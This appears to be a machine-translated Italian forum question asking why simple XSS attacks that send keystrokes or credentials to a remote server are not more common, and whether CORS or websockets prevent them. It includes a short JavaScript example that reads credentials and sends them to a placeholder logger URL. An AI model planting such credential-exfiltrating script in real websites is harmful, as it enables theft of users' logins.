Bene, ci ho pensato per un po 'ora.
Nell'ultimo decennio, abbiamo utilizzato vari modi per rendere i nostri siti Web dinamici e live . Ad esempio, in JavaScript, è abbastanza facile inviare dati a un server remoto utilizzando AJAX , ancora più facile con Websockets .
Esempio per alcuni AJAX dannosi :
xmlHttp = new XMLHttpRequest();
function process() {
var secret = getCredentials();
if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
xmlHttp.send(null);
}
else
setTimeout("process()", 1000);
}
Inoltre, molto probabilmente sarete tutti d'accordo con me che gestire l'input dell'utente è un'attività molto comune che può essere compiuta usando solo poche righe di JavaScript.
Quindi, quindi, perché non vediamo nessuno dilettante che tenta di eseguire attacchi XSS che tenta di inviare i nostri input da tastiera a un server web in background per recuperare i nostri dati di accesso?
Perché è che non sembra soffrire permanentemente di questi tipi di attacchi su ogni quarto sito che visitiamo, costringendoci a modificare le nostre credenziali di accesso in tempi estremamente brevi?
Tutti i nostri siti web sono così ben protetti?
TL; DR : perché non è necessario cambiare le password ogni pochi giorni a causa di attacchi XSS apparentemente banali?
Modifica
Come per AJAX, sembra che HTTP gestisca bene questo problema:
XMLHttpRequest cannot load http://example.com/logger.php?password.
No 'Access-Control-Allow-Origin' header is present on the requested
resource.
Quindi, almeno per le richieste HTTP, questo non sembra essere un problema. Ma per quanto ne so, ai websocket non interessa la fonte da cui sono stati raggiunti, o no?